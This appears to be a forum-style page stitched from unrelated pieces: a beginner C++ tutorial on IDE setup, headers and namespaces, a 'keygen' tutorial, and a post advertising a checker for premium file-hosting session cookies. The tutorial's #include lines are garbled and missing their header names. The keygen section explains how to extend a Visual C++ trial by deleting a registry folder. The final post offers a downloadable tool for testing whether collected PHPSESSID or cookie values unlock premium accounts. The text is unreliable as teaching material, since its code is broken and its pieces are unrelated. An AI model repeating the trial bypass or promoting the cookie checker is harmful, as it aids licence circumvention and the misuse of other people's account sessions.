Depending on the programming environment you are using, even depending on how you create your program (for example KDevelop, Borland C++ Builder, and Microsoft Visual C++ all provide more than one way to create or start a console application), sometimes you have a starting empty file or a file with a few lines. Whatever is in the file, you do not need to delete it. For example, KDevelop displays a commented message in the file. You should not delete that text and it will never interfere with your program. Borland C++ Builder opens a file with a couple of "#pragma" lines. You will never have any reason to delete those lines, although you can, without any risk; but since they do not affect your program, why waste your time deleting them?
Depending on the programming environment you are using and how you create your program, the first file may display a line as #include or another #include line. The file may also have a main() function already included. Here is how we will deal with this issue:
  • If the file displays a line with #include Something, leave it as is. It will not negatively affect your program. Such a file has been tested
  • If the file displays a line with #include , leave it like that and continue with our other instructions
  • If the file is empty or it does not include a line with #include at all, then you will just follow our instructions and type them as given
  • If the file already includes the main() function, with a line like int main(Something), use that main() function for the exercises in this book. Unless stated otherwise, that function is ready for you and don't modify the Something part between the parentheses.
From now on, you will sometimes be asked to create a project. Follow the instructions of your compiler as we have seen above.

Creating and Executing a Dev-C++ 4 Application

OLD IS GOLD :P
Dev-C++ is a free programming environment. To get it, you can download it from http://www.bloodshed.net. If you decide to use it, you should help the developers with a financial contribution.
  1. Start Dev-C++ 4

  2. On the main menu, click File -> New Project...
  3. On the New Project dialog box, click the Project property sheet if necessary.
    Click Console Application

  4. Click OK.
  5. On the subsequent New Project dialog box, type Exercise to change the name of the project:

  6. Click OK. You will be asked to create a location for the project.
  7. Click the Create New Folder button .
  8. Type Exercise1 and press Enter.
  9. Double-click Exercise1 to display it in the Save In combo box:

  10. Click Save.
  11. Because the project has already been saved, it is better to save your C++ files as you go. As it happens, Dev-C++ has already created the first C++ file for you.
    Change the contents of the file as follows:
     
    #include 
    #include

    int main(int argc, char *argv[])
    {
    cout << "C++ is Fun!!!";
    getchar();
    return 0;
    }

  12. To save the current C++ file, on the Main toolbar, click the Save button
  13. Type Exo as the name of the file.
  14. Click Save.
  15. To execute the program, on the main menu, click Execute -> Compile

  16. After the program has been compiled, click Execute.
  17. After viewing the program, press Enter to close the DOS window to return to Dev-C++
 
Borland C++BuilderX

Borland C++BuilderX is a commercial programming environment developed by Borland.
To help programmers, Borland published a free version, called Personal Edition, that you
can download and use for your lessons.
  1. On the main menu of C++BuilderX, click File -> New...
  2. In the Object Gallery dialog box, click New Console

  3. Click OK
  4. In the New Console Application - Step 1 of 3, enter the name of the new application
  5. in the Name edit box. In this case, you can type Exercise1

  6. Click Next

  7. In the New Console Application Wizard - Step 2 of 3, accept all defaults and click Next
  8. In the New Console Application Wizard - Step 3 of 3, click the check box under Create
  9. Click Untitled1 and delete it to replace it with Exercise

  10. Click Finish
  11. In the Project Content frame, double-click Exercise.cpp to display it in the right frame

  12. To execute the application, on the main menu, click Run -> Run Project

Introduction to C++

Overview
A computer is a machine that receives instructions and produces a result after performing an appropriate assignment. Since it is a machine, it expects good and precise directives in order to do something. The end result depends on various factors ranging from the particular capabilities of the machine, the instructions it received, and the expected result.

As a machine, the computer cannot figure out what you want. The computer doesn't think and therefore doesn't make mistakes.
Computer programming is the art of writing instructions (programs) that ask the computer to do something and give a result. A computer receives instructions in many different forms, four of which are particularly important.
The first instructions are given by the manufacturers of various hardware parts such as the microprocessor, the motherboard, the floppy and the CD-ROM drives, etc. These parts are usually made by different companies, setting different and various goals that their particular part can perform. The instructions given to the microprocessor, for example, tell it how to perform calculations, at what speed, and under which circumstances. The instructions given to the motherboard tell it to behave like a city where people and cars can move from one part of the town to another, back and forth, for various reasons; this allows information to flow from one part of the city, I mean one section of the computer, to another.
Once the instructions given to the hardware parts are known, software engineers use that information to give the second sets of instructions to the computer. These instructions, known as an operating system, are usually written by one company. These second instructions tell the computer how to coordinate its different components so the result will be a combination of different effects. This time, the computer is instructed about where the pieces of information it receives are coming from, what to do with them, then where to send the result. This time also the operating system designers impose a lot of behaviors to the computer as a machine. Again this time, some computer languages are developed so that programmers can write applications as the third set of instructions. It is like developing languages that people in a city can use to talk to each other. Consider that from now on (once the OS is developed), people get into the habit of doing things according to their particular culture or taste, speaking different languages that their neighbor doesn't understand... Luckily, the computer, I should say the OS, understands all these languages (I can't guaranty that). Some of the operating systems on the market are: Microsoft Windows 3.X, Corel Linux, IBM OS\2, Microsoft Windows 9X, Apple OS 10, Red Hat Linux, Microsoft Windows Millennium, BeOS, Caldera Linux, Microsoft Windows 2000 etc. A particular OS (for example Microsoft Windows 98) depending on a particular processor (for example Intel Pentium) is sometimes referred to as a platform. Some of the computer languages running on Microsoft Windows operating systems are C++, Pascal, Basic, and their variants. 

The actual third set of instructions are given to the computer by you, the programmer, using one or more of the languages that the operating system you are planning to use can understand. Your job is going to consist of writing applications. As a programmer, you write statements such as telling the computer, actually the operating system, that "If the user clicks this, do the following, but if he clicks that, do something else. If the user right clicks, display this; if he double-clicks that, do that." To write these instructions, called programs, you first learn to "speak" one of the languages of the OS. Then, you become more creative... Some of the application programs in the market are Microsoft Word, Lotus ScreenCam, Adobe Acrobat, Jasc Paint Shop Pro, etc.
The last instructions are given by whoever uses your program, or your application. For example, if you had programmed Microsoft Word, you would have told the computer that "If a user clicks the New button on the Standard toolbar, I want you to display a new empty document. But if the user clicks File -> New..., I want you to 'call' the New dialog and provide more options to create a new document. If the same user right-clicks on any button on any of the toolbars, I want you to show, from a popup menu, all the toolbars available so she can choose which one she wants. But if she right-clicks on the main document, here is another menu I want you to display."
At this time, you have probably realized that the users of your programs depend on your techniques as a developer to provide an easy to use application (that's what recruiters and employers call experience and creativity). You depend on the computer language that you are actually using (every computer language has its ups and downs). Your computer language depends on the operating system it is running on (different 
operating systems have different strengths and weaknesses). The operating system depends on the microprocessor or the machine it is running in (the biggest difference between two microprocessors is the speeds at which each processes information).

Your interest here is on the computer languages, since you are going to write programs. There are various computer languages, for different reasons, capable of doing different things. Fortunately, the computer can distinguish between different languages and perform accordingly. These instructions are given by the programmer who is using compilers, interpreters, etc, to write programs. Examples of those languages are Basic, C++, Pascal, etc.

Introduction to Header Files

C++ is a huge language so much that it uses various sets of instructions from different parts to do its work. Some of these instructions come in computer files that you simply "put" in your program. These instructions or files are also called libraries. To make your job easier, some of these libraries have already been written for you so that as you include them in your program, you already have a good foundation to continue your construction. Yet, some of these libraries have their limitations, which means you will expand them by writing or including your own libraries.

As noted already, there are libraries previously written for you. One of them asks the computer to receive keyboard strokes from you the user (when you press a key) and another asks the machine (the computer performing some operations) to give back a result. The libraries are files that you place at the beginning of your program as if you were telling the computer to receive its preliminary instructions from another program before expanding on yours. The libraries are (also) called header files and, as computer files, they have the extension ".h". An example would be house.h, or person.h. As you see, they could have any name; when you start creating your own libraries, you will give your files custom and recognizable names.
The first library we will be interested in is called iostream. It asks the computer to display stuff on the monitor's screen.
To see how to put a library in your program, you put it at the beginning of the file. Here is an example:
iostream.h
To use a library in your program, you simply include it by using the word "include" before the name of the library, as follows:
include iostream.h
Since this is a computer language, the computer will follow particular instructions to perform appropriately, which will make this language distinct from the everyday languages. C++ has some words it treats specially and some that will completely depend on you the programmer. For example, the word "include" could be a special word used by C++ or a regular you want to use in your program. In this particular situation, if you want the computer to "know" that the word "include" means, "I want to include the following library", you will have to append a special sign to it. The pound sign "#" will do just that. Therefore, to include a library, you precede the include word with the # sign.
Here is an example:
#include iostream.h
There are usually two kinds of libraries or files you will use in your programs: libraries that came with C++, and those that you write. To include your own library, you would enclose it between double quotes, like this
#include "books.h"
When you include a library that came with C++, you enclose it between < and > as follows:
#include 
Following this same technique, you can add as many libraries as you see fit. Before adding a file, you will need to know what that file is and why you need it. This will mostly depend on your application. For example, you can include a library called stdio like this:
#include 
#include

 
Introduction to Namespaces

A namespace is a section of code, delimited and referred to using a specific name. A namespace is created to set apart a portion of code with the goal to reduce, otherwise eliminate, confusion. This is done by giving a common name to that portion of code so that, when referring to it, only entities that are part of that section would be referred to.
Because C++ is so huge, its libraries are created in different namespaces, each with a particular name. To use an existing namespace in your program, you must know its name. To use such a namespace, you can type the using namespace expression followed by the name of the namespace and a semi-colon. For example, to use a namespace called django, you would type:
using namespace django;
One of the namespaces used in C++ is called std. Therefore, to use it, you can type:
using namespace std;
After typing this, any part of the namespace becomes available to you. The iostream library we mentioned above is part of the std namespace. When you use it, you don't need to include the extended of the iostream file. For this reason, you can start your program with:
#include 
using namespace std;

How to make a Keygen with C++ [and a bit of C# & VB]

Keygen Tutorial

Steps:

1. Download & Install Microsoft Visual C++ Express (2008 - 2010)
[Get the trial off microsoft official website and to keep it for more than 30 days, delete the registration folder in regedit]

2. Start a new project, name it, and select "Windows Forms Application".

3. Select the size of your keygen form and then right click it, properties and on FormBorderStyle, select None.
[This is used to remove the titlebar and windows margins.

4. A little bit below, turn "Maximise/Minimise Box" and "Control Box" to false. Topmost must be true if you want your keygen to always stay on top of other windows.
[Other options such as "Show icon/Show in taskbar" are self explainatory, so set to false if you wish]

5. Now you can start designing your keygen. Either make a "Background Image" on your form1 or from the "toolbox" {look for a hammer icon above} add a "PictureBox". To add an image, click the arrow above the dragged box and "Choose Image", then once selected you can stretch it.

6. You can add labels for text, a progress bar... buttons, text box [this will have your generated serial] and so on, use your imagination.

7. Everything you add pretty much has a "Properties" option which like Form1, you can edit stuff in it.

8. To add music to your keygen, you have two methods. There will be a bit of C# or Visual Basic here but it's easy enough. For implemented music, check this out http://msdn.microsoft.com/en-us/library/...S.85).aspx
If you want to skip this, then make a WebBrowser control, make it small and invisible. Put the url to a youtube website or whatever has music to it and it will begin automatically.

9. Animations are simply added by using a .gif file in your picture box instead of a bitmap/jpg.

10. To make your buttons work, just make an event (double click button until you are taken to the code).
Now there are a few paths you can take for this to generate serials. Let's assume this is the [ Generate ] button.

The way I know so far is below: [You MUST have a "TextBox" so that the below will get generated in it visually]


Code:
private: System::Void button1_Click(System::Object^ sender, System::EventArgs^ e)
{
srand((unsigned)time(0));
int number;
number = (rand()%7)+1;

if (number == 1)
this->richTextBox1->Text = L"XXXX - XXXX - XXXX - XXXX - XXXX";
else
if (number == 2)
this->richTextBox1->Text = L"XXXX - XXXX - XXXX - XXXX - XXXX";
else
if (number == 3)
this->richTextBox1->Text = L"XXXX - XXXX - XXXX - XXXX - XXXX";
else
if (number == 4)
this->richTextBox1->Text = L"XXXX - XXXX - XXXX - XXXX - XXXX";
else
if (number == 5)
this->richTextBox1->Text = L"XXXX - XXXX - XXXX - XXXX - XXXX";
else
if (number == 6)
this->richTextBox1->Text = L"XXXX - XXXX - XXXX - XXXX - XXXX";
else
if (number == 7)
this->richTextBox1->Text = L"XXXX - XXXX - XXXX - XXXX - XXXX";
}

This just makes a variable generate on random from 1 - 7 and each one will have a specific serial.
The code above requires two headers for the script to work :
#include
#include

11. Now that you don't have a control or titlebar, it's most likely you must have a way to exit the application. Use this->Close(); on your [ Exit ] button event.

12. The rest is up to yourself and your creativity, add colours and so on.
F7 to compile, CTRL + F5 to test, and to finish it up in an EXE, select RELEASE below the "Tools"window and compile.

Hf & Fs & Fsc & Mu & Df Cookies Cheker program



this program is programed by me using c# language

it's function is to check (hotfile & fileserve & megaupload &filesonic &depositfiles )cookies either it is premium or not
his program is programed by me using c# language

it's function is to check (hotfile & fileserve & megaupload &filesonic &depositfiles )cookies either it is premium or not


[Image: 92043980.png]

[Image: 87555372.png]

note :
fileserve (short) :it is the "PHPSESSID"
fileserve (long) :it is the "cookie"

to check a cookies 
Code:
1)take cookies copy
2)press "add" or "past from clipboard" to add cookies
3)choose "hotfile" or "fileserve" or"megaupload" or.........
4)press start
5)"start button" will change to "stop" , wait until it change to "start" again and the working cookies will be placed in the textbox (large one)

note :
- you can use "past-start" to skip step 2 & 4
-this program isn't adware or spyware
-file size is 15 Kb only (Very simple program )

Download:
Code:
http://www.fileserve.com/file/UhZzZxw


Scan Report :
Code:
http://vscan.novirusthanks.org/analysis/cb91ff53af0c9042a60e9181801dc31c/Y29va2llcy1jaGVja2VydjItMi1leGU=/